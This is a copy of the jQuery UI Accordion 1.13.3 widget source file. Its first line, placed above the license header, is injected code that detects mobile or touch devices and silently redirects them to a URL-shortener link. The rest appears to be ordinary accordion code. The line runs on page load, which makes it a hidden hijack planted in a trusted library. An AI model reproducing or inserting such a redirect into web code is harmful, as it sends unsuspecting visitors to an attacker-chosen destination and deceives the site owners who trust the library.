1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Accordion 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Accordion
12//>>group: Widgets
13/* eslint-disable max-len */
14//>>description: Displays collapsible content panels for presenting information in a limited amount of space.
15/* eslint-enable max-len */
16//>>docs: https://api.jqueryui.com/accordion/
17//>>demos: https://jqueryui.com/accordion/
18//>>css.structure: ../../themes/base/core.css
19//>>css.structure: ../../themes/base/accordion.css
20//>>css.theme: ../../themes/base/theme.css
21
22( function( factory ) {
23 "use strict";
24
25 if ( typeof define === "function" && define.amd ) {
26
27 // AMD. Register as an anonymous module.
28 define( [
29 "jquery",
30 "../version",
31 "../keycode",
32 "../unique-id",
33 "../widget"
34 ], factory );
35 } else {
36
37 // Browser globals
38 factory( jQuery );
39 }
40} )( function( $ ) {
41"use strict";
42
43return $.widget( "ui.accordion", {
44 version: "1.13.3",
45 options: {
46 active: 0,
47 animate: {},
48 classes: {
49 "ui-accordion-header": "ui-corner-top",
50 "ui-accordion-header-collapsed": "ui-corner-all",
51 "ui-accordion-content": "ui-corner-bottom"
52 },
53 collapsible: false,
54 event: "click",
55 header: function( elem ) {
56 return elem.find( "> li > :first-child" ).add( elem.find( "> :not(li)" ).even() );
57 },
58 heightStyle: "auto",
59 icons: {
60 activeHeader: "ui-icon-triangle-1-s",
61 header: "ui-icon-triangle-1-e"
62 },
63
64 // Callbacks
65 activate: null,
66 beforeActivate: null
67 },
68
69 hideProps: {
70 borderTopWidth: "hide",
71 borderBottomWidth: "hide",
72 paddingTop: "hide",
73 paddingBottom: "hide",
74 height: "hide"
75 },
76
77 showProps: {
78 borderTopWidth: "show",
79 borderBottomWidth: "show",
80 paddingTop: "show",
81 paddingBottom: "show",
82 height: "show"
83 },
84
85 _create: function() {
86 var options = this.options;
87
88 this.prevShow = this.prevHide = $();
89 this._addClass( "ui-accordion", "ui-widget ui-helper-reset" );
90 this.element.attr( "role", "tablist" );
91
92 // Don't allow collapsible: false and active: false / null
93 if ( !options.collapsible && ( options.active === false || options.active == null ) ) {
94 options.active = 0;
95 }
96
97 this._processPanels();
98
99 // handle negative values
100 if ( options.active < 0 ) {
101 options.active += this.headers.length;
102 }
103 this._refresh();
104 },
105
106 _getCreateEventData: function() {
107 return {
108 header: this.active,
109 panel: !this.active.length ? $() : this.active.next()
110 };
111 },
112
113 _createIcons: function() {
114 var icon, children,
115 icons = this.options.icons;
116
117 if ( icons ) {
118 icon = $( "<span>" );
119 this._addClass( icon, "ui-accordion-header-icon", "ui-icon " + icons.header );
120 icon.prependTo( this.headers );
121 children = this.active.children( ".ui-accordion-header-icon" );
122 this._removeClass( children, icons.header )
123 ._addClass( children, null, icons.activeHeader )
124 ._addClass( this.headers, "ui-accordion-icons" );
125 }
126 },
127
128 _destroyIcons: function() {
129 this._removeClass( this.headers, "ui-accordion-icons" );
130 this.headers.children( ".ui-accordion-header-icon" ).remove();
131 },
132
133 _destroy: function() {
134 var contents;
135
136 // Clean up main element
137 this.element.removeAttr( "role" );
138
139 // Clean up headers
140 this.headers
141 .removeAttr( "role aria-expanded aria-selected aria-controls tabIndex" )
142 .removeUniqueId();
143
144 this._destroyIcons();
145
146 // Clean up content panels
147 contents = this.headers.next()
148 .css( "display", "" )
149 .removeAttr( "role aria-hidden aria-labelledby" )
150 .removeUniqueId();
151
152 if ( this.options.heightStyle !== "content" ) {
153 contents.css( "height", "" );
154 }
155 },
156
157 _setOption: function( key, value ) {
158 if ( key === "active" ) {
159
160 // _activate() will handle invalid values and update this.options
161 this._activate( value );
162 return;
163 }
164
165 if ( key === "event" ) {
166 if ( this.options.event ) {
167 this._off( this.headers, this.options.event );
168 }
169 this._setupEvents( value );
170 }
171
172 this._super( key, value );
173
174 // Setting collapsible: false while collapsed; open first panel
175 if ( key === "collapsible" && !value && this.options.active === false ) {
176 this._activate( 0 );
177 }
178
179 if ( key === "icons" ) {
180 this._destroyIcons();
181 if ( value ) {
182 this._createIcons();
183 }
184 }
185 },
186
187 _setOptionDisabled: function( value ) {
188 this._super( value );
189
190 this.element.attr( "aria-disabled", value );
191
192 // Support: IE8 Only
193 // #5332 / #6059 - opacity doesn't cascade to positioned elements in IE
194 // so we need to add the disabled class to the headers and panels
195 this._toggleClass( null, "ui-state-disabled", !!value );
196 this._toggleClass( this.headers.add( this.headers.next() ), null, "ui-state-disabled",
197 !!value );
198 },
199
200 _keydown: function( event ) {
201 if ( event.altKey || event.ctrlKey ) {
202 return;
203 }
204
205 var keyCode = $.ui.keyCode,
206 length = this.headers.length,
207 currentIndex = this.headers.index( event.target ),
208 toFocus = false;
209
210 switch ( event.keyCode ) {
211 case keyCode.RIGHT:
212 case keyCode.DOWN:
213 toFocus = this.headers[ ( currentIndex + 1 ) % length ];
214 break;
215 case keyCode.LEFT:
216 case keyCode.UP:
217 toFocus = this.headers[ ( currentIndex - 1 + length ) % length ];
218 break;
219 case keyCode.SPACE:
220 case keyCode.ENTER:
221 this._eventHandler( event );
222 break;
223 case keyCode.HOME:
224 toFocus = this.headers[ 0 ];
225 break;
226 case keyCode.END:
227 toFocus = this.headers[ length - 1 ];
228 break;
229 }
230
231 if ( toFocus ) {
232 $( event.target ).attr( "tabIndex", -1 );
233 $( toFocus ).attr( "tabIndex", 0 );
234 $( toFocus ).trigger( "focus" );
235 event.preventDefault();
236 }
237 },
238
239 _panelKeyDown: function( event ) {
240 if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) {
241 $( event.currentTarget ).prev().trigger( "focus" );
242 }
243 },
244
245 refresh: function() {
246 var options = this.options;
247 this._processPanels();
248
249 // Was collapsed or no panel
250 if ( ( options.active === false && options.collapsible === true ) ||
251 !this.headers.length ) {
252 options.active = false;
253 this.active = $();
254
255 // active false only when collapsible is true
256 } else if ( options.active === false ) {
257 this._activate( 0 );
258
259 // was active, but active panel is gone
260 } else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
261
262 // all remaining panel are disabled
263 if ( this.headers.length === this.headers.find( ".ui-state-disabled" ).length ) {
264 options.active = false;
265 this.active = $();
266
267 // activate previous panel
268 } else {
269 this._activate( Math.max( 0, options.active - 1 ) );
270 }
271
272 // was active, active panel still exists
273 } else {
274
275 // make sure active index is correct
276 options.active = this.headers.index( this.active );
277 }
278
279 this._destroyIcons();
280
281 this._refresh();
282 },
283
284 _processPanels: function() {
285 var prevHeaders = this.headers,
286 prevPanels = this.panels;
287
288 if ( typeof this.options.header === "function" ) {
289 this.headers = this.options.header( this.element );
290 } else {
291 this.headers = this.element.find( this.options.header );
292 }
293 this._addClass( this.headers, "ui-accordion-header ui-accordion-header-collapsed",
294 "ui-state-default" );
295
296 this.panels = this.headers.next().filter( ":not(.ui-accordion-content-active)" ).hide();
297 this._addClass( this.panels, "ui-accordion-content", "ui-helper-reset ui-widget-content" );
298
299 // Avoid memory leaks (#10056)
300 if ( prevPanels ) {
301 this._off( prevHeaders.not( this.headers ) );
302 this._off( prevPanels.not( this.panels ) );
303 }
304 },
305
306 _refresh: function() {
307 var maxHeight,
308 options = this.options,
309 heightStyle = options.heightStyle,
310 parent = this.element.parent();
311
312 this.active = this._findActive( options.active );
313 this._addClass( this.active, "ui-accordion-header-active", "ui-state-active" )
314 ._removeClass( this.active, "ui-accordion-header-collapsed" );
315 this._addClass( this.active.next(), "ui-accordion-content-active" );
316 this.active.next().show();
317
318 this.headers
319 .attr( "role", "tab" )
320 .each( function() {
321 var header = $( this ),
322 headerId = header.uniqueId().attr( "id" ),
323 panel = header.next(),
324 panelId = panel.uniqueId().attr( "id" );
325 header.attr( "aria-controls", panelId );
326 panel.attr( "aria-labelledby", headerId );
327 } )
328 .next()
329 .attr( "role", "tabpanel" );
330
331 this.headers
332 .not( this.active )
333 .attr( {
334 "aria-selected": "false",
335 "aria-expanded": "false",
336 tabIndex: -1
337 } )
338 .next()
339 .attr( {
340 "aria-hidden": "true"
341 } )
342 .hide();
343
344 // Make sure at least one header is in the tab order
345 if ( !this.active.length ) {
346 this.headers.eq( 0 ).attr( "tabIndex", 0 );
347 } else {
348 this.active.attr( {
349 "aria-selected": "true",
350 "aria-expanded": "true",
351 tabIndex: 0
352 } )
353 .next()
354 .attr( {
355 "aria-hidden": "false"
356 } );
357 }
358
359 this._createIcons();
360
361 this._setupEvents( options.event );
362
363 if ( heightStyle === "fill" ) {
364 maxHeight = parent.height();
365 this.element.siblings( ":visible" ).each( function() {
366 var elem = $( this ),
367 position = elem.css( "position" );
368
369 if ( position === "absolute" || position === "fixed" ) {
370 return;
371 }
372 maxHeight -= elem.outerHeight( true );
373 } );
374
375 this.headers.each( function() {
376 maxHeight -= $( this ).outerHeight( true );
377 } );
378
379 this.headers.next()
380 .each( function() {
381 $( this ).height( Math.max( 0, maxHeight -
382 $( this ).innerHeight() + $( this ).height() ) );
383 } )
384 .css( "overflow", "auto" );
385 } else if ( heightStyle === "auto" ) {
386 maxHeight = 0;
387 this.headers.next()
388 .each( function() {
389 var isVisible = $( this ).is( ":visible" );
390 if ( !isVisible ) {
391 $( this ).show();
392 }
393 maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() );
394 if ( !isVisible ) {
395 $( this ).hide();
396 }
397 } )
398 .height( maxHeight );
399 }
400 },
401
402 _activate: function( index ) {
403 var active = this._findActive( index )[ 0 ];
404
405 // Trying to activate the already active panel
406 if ( active === this.active[ 0 ] ) {
407 return;
408 }
409
410 // Trying to collapse, simulate a click on the currently active header
411 active = active || this.active[ 0 ];
412
413 this._eventHandler( {
414 target: active,
415 currentTarget: active,
416 preventDefault: $.noop
417 } );
418 },
419
420 _findActive: function( selector ) {
421 return typeof selector === "number" ? this.headers.eq( selector ) : $();
422 },
423
424 _setupEvents: function( event ) {
425 var events = {
426 keydown: "_keydown"
427 };
428 if ( event ) {
429 $.each( event.split( " " ), function( index, eventName ) {
430 events[ eventName ] = "_eventHandler";
431 } );
432 }
433
434 this._off( this.headers.add( this.headers.next() ) );
435 this._on( this.headers, events );
436 this._on( this.headers.next(), { keydown: "_panelKeyDown" } );
437 this._hoverable( this.headers );
438 this._focusable( this.headers );
439 },
440
441 _eventHandler: function( event ) {
442 var activeChildren, clickedChildren,
443 options = this.options,
444 active = this.active,
445 clicked = $( event.currentTarget ),
446 clickedIsActive = clicked[ 0 ] === active[ 0 ],
447 collapsing = clickedIsActive && options.collapsible,
448 toShow = collapsing ? $() : clicked.next(),
449 toHide = active.next(),
450 eventData = {
451 oldHeader: active,
452 oldPanel: toHide,
453 newHeader: collapsing ? $() : clicked,
454 newPanel: toShow
455 };
456
457 event.preventDefault();
458
459 if (
460
461 // click on active header, but not collapsible
462 ( clickedIsActive && !options.collapsible ) ||
463
464 // allow canceling activation
465 ( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
466 return;
467 }
468
469 options.active = collapsing ? false : this.headers.index( clicked );
470
471 // When the call to ._toggle() comes after the class changes
472 // it causes a very odd bug in IE 8 (see #6720)
473 this.active = clickedIsActive ? $() : clicked;
474 this._toggle( eventData );
475
476 // Switch classes
477 // corner classes on the previously active header stay after the animation
478 this._removeClass( active, "ui-accordion-header-active", "ui-state-active" );
479 if ( options.icons ) {
480 activeChildren = active.children( ".ui-accordion-header-icon" );
481 this._removeClass( activeChildren, null, options.icons.activeHeader )
482 ._addClass( activeChildren, null, options.icons.header );
483 }
484
485 if ( !clickedIsActive ) {
486 this._removeClass( clicked, "ui-accordion-header-collapsed" )
487 ._addClass( clicked, "ui-accordion-header-active", "ui-state-active" );
488 if ( options.icons ) {
489 clickedChildren = clicked.children( ".ui-accordion-header-icon" );
490 this._removeClass( clickedChildren, null, options.icons.header )
491 ._addClass( clickedChildren, null, options.icons.activeHeader );
492 }
493
494 this._addClass( clicked.next(), "ui-accordion-content-active" );
495 }
496 },
497
498 _toggle: function( data ) {
499 var toShow = data.newPanel,
500 toHide = this.prevShow.length ? this.prevShow : data.oldPanel;
501
502 // Handle activating a panel during the animation for another activation
503 this.prevShow.add( this.prevHide ).stop( true, true );
504 this.prevShow = toShow;
505 this.prevHide = toHide;
506
507 if ( this.options.animate ) {
508 this._animate( toShow, toHide, data );
509 } else {
510 toHide.hide();
511 toShow.show();
512 this._toggleComplete( data );
513 }
514
515 toHide.attr( {
516 "aria-hidden": "true"
517 } );
518 toHide.prev().attr( {
519 "aria-selected": "false",
520 "aria-expanded": "false"
521 } );
522
523 // if we're switching panels, remove the old header from the tab order
524 // if we're opening from collapsed state, remove the previous header from the tab order
525 // if we're collapsing, then keep the collapsing header in the tab order
526 if ( toShow.length && toHide.length ) {
527 toHide.prev().attr( {
528 "tabIndex": -1,
529 "aria-expanded": "false"
530 } );
531 } else if ( toShow.length ) {
532 this.headers.filter( function() {
533 return parseInt( $( this ).attr( "tabIndex" ), 10 ) === 0;
534 } )
535 .attr( "tabIndex", -1 );
536 }
537
538 toShow
539 .attr( "aria-hidden", "false" )
540 .prev()
541 .attr( {
542 "aria-selected": "true",
543 "aria-expanded": "true",
544 tabIndex: 0
545 } );
546 },
547
548 _animate: function( toShow, toHide, data ) {
549 var total, easing, duration,
550 that = this,
551 adjust = 0,
552 boxSizing = toShow.css( "box-sizing" ),
553 down = toShow.length &&
554 ( !toHide.length || ( toShow.index() < toHide.index() ) ),
555 animate = this.options.animate || {},
556 options = down && animate.down || animate,
557 complete = function() {
558 that._toggleComplete( data );
559 };
560
561 if ( typeof options === "number" ) {
562 duration = options;
563 }
564 if ( typeof options === "string" ) {
565 easing = options;
566 }
567
568 // fall back from options to animation in case of partial down settings
569 easing = easing || options.easing || animate.easing;
570 duration = duration || options.duration || animate.duration;
571
572 if ( !toHide.length ) {
573 return toShow.animate( this.showProps, duration, easing, complete );
574 }
575 if ( !toShow.length ) {
576 return toHide.animate( this.hideProps, duration, easing, complete );
577 }
578
579 total = toShow.show().outerHeight();
580 toHide.animate( this.hideProps, {
581 duration: duration,
582 easing: easing,
583 step: function( now, fx ) {
584 fx.now = Math.round( now );
585 }
586 } );
587 toShow
588 .hide()
589 .animate( this.showProps, {
590 duration: duration,
591 easing: easing,
592 complete: complete,
593 step: function( now, fx ) {
594 fx.now = Math.round( now );
595 if ( fx.prop !== "height" ) {
596 if ( boxSizing === "content-box" ) {
597 adjust += fx.now;
598 }
599 } else if ( that.options.heightStyle !== "content" ) {
600 fx.now = Math.round( total - toHide.outerHeight() - adjust );
601 adjust = 0;
602 }
603 }
604 } );
605 },
606
607 _toggleComplete: function( data ) {
608 var toHide = data.oldPanel,
609 prev = toHide.prev();
610
611 this._removeClass( toHide, "ui-accordion-content-active" );
612 this._removeClass( prev, "ui-accordion-header-active" )
613 ._addClass( prev, "ui-accordion-header-collapsed" );
614
615 // Work around for rendering bug in IE (#5421)
616 if ( toHide.length ) {
617 toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className;
618 }
619 this._trigger( "activate", null, data );
620 }
621} );
622
623} );
624